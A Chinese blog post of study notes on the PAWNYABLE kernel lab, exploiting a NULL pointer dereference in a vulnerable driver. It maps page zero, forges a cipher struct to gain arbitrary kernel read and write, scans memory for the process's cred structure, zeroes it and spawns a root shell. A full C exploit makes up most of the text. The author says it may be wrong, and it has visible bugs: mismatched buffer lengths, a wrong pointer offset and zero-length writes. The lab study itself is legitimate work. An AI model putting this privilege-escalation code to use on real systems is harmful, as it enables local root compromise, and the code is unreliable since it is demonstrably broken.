PAWNYABLE NULL Pointer Dereference 笔记

现在把基础的和 user mode 类似的部分看完了,该看内核独有的攻击咯。

概念

攻击的前提条件

  • 为了完成 null ptr dereference,需要先禁用 SMAP(内核从用户态读写数据)

  • 以及 cat /proc/sys/vm/mmap_min_addr 需要是 0。mmap 需要可以拿到地址为 0 的区域。

所以这么看起来,利用的条件还是比较原始的....

模块源码分析

看 mondule_ioctl 的功能的话,这个模块可以基于 ctx->key 和 ctx->data 对数据进行亦或的加解密。

虽然 CMD_SETKEY 有检查 private_data 是否已经初始化。但是, CMD_GETDATA 、 CMD_ENCRYPT 、 CMD_DECRYPT 没有此检查。就是说,如果 ctx 为 0 的话,也是可以进行  CMD_GETDATA 、 CMD_ENCRYPT 、 CMD_DECRYPT 的,只不过是用了用户空间的数据。

用户态控制 0x0 的地址

mmap 的参数设置中:

  • MAP_FIXED 强制将映射的内存区域放置在指定的地址。

  • MAP_POPULATE : 在 mmap 调用中使用 MAP_POPULATE 标志主要是为了提前将映射的内存区域加载到物理内存中,而不是等到访问这些内存时才触发页面的加载。这对于一些需要确保快速访问内存的情况特别有用,尤其是当内存区域被映射为匿名内存 (MAP_ANONYMOUS) 时。

mmap(0, 0x1000, PROT_READ|PROT_WRITE,  
     MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE,  
     -1, 0);

题目分析

控制 XorCipher 结构体就能完成 aaw 和 aar

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

没有任何基址,如何搜索 cred 结构体?

kalsr 可能改变的 cred 地址范围:outflux.net/slides/2013/lss/kaslr.pdf 0xffff888000000000 < 0xffffc88000000000

![[Pasted image 20241212103411.png]]

exp

寻找 cred 的过程好漫长。跑了好久呜呜,不想跑了,就这样吧,这个 exp 可能不正确...

#include <fcntl.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <inttypes.h>

#define CMD_GETDATA 0x13370004
#define CMD_ENCRYPT 0x13370005

char *buf;
int fd;

void print_hex(char *name, uint64_t addr) {
    printf("%s %" PRIx64 "\n", name, addr);
}

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

typedef struct {
  char *ptr;
  size_t len;
} request_t;

// 怎么找 cred 比较快
void aar(char *src, int len, char *dst){
    XorCipher cipher = {
        .key = 0,
        .data = src,
        .keylen = 0,
        .datalen = len
    };

    request_t rqs = {
        .ptr = dst,
        .len = len
    };

    memcpy(buf, &cipher, sizeof(XorCipher));
    ioctl(fd, CMD_GETDATA, &rqs);
}

int aaw(char *addr, int len, char *content) {
    
    char *leak = (char*)malloc(len);

    aar(addr, len, leak);

    for(int i = 0; i < len; i++) {
        leak[i] ^= content[i];
    }

    XorCipher cipher = {
        .key = leak,
        .data = addr,
        .keylen = len,
        .datalen = len
    };

    request_t rqs = {
        .ptr = addr,
        .len = len
    };

    memcpy(buf, &cipher, sizeof(XorCipher));
    ioctl(fd, CMD_ENCRYPT, &rqs);
}

void attack_cred() {
    prctl(PR_SET_NAME, "giacomo");
    char *leak = malloc(0x1000000);
    uint64_t cred_addr;

    for(uint64_t addr = 0xffff888000000000; addr < 0xffffc88000000000; addr += 0x1000000) {
        if (addr % 0x1000000000 == 0) {
            print_hex("addr:", addr);
        }

        aar((char *)addr, 0x1000, leak);
        
        char *needle = memmem(leak, 0x1000000, "giacomo", 7);

        if(needle) {
            puts("find comm");
            print_hex("addr", (uint64_t) needle + addr);
            cred_addr = *(uint64_t *)(leak - 0x8);
            print_hex("cred_addr", cred_addr);
            break;
        }
    }

    char zero[0x20] = {0};

    for(uint64_t i = 0; i < 0x20; i += 4) {
        aaw((char *)cred_addr + i, 0, zero);
    }

    system("/bin/sh");
}

int main() {
    fd = open("/dev/angus", O_RDWR);

    buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE,
               MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);

    attack_cred();

}
posted @ 2024-12-13 16:17  giacomo捏  阅读(3)  评论(0编辑  收藏  举报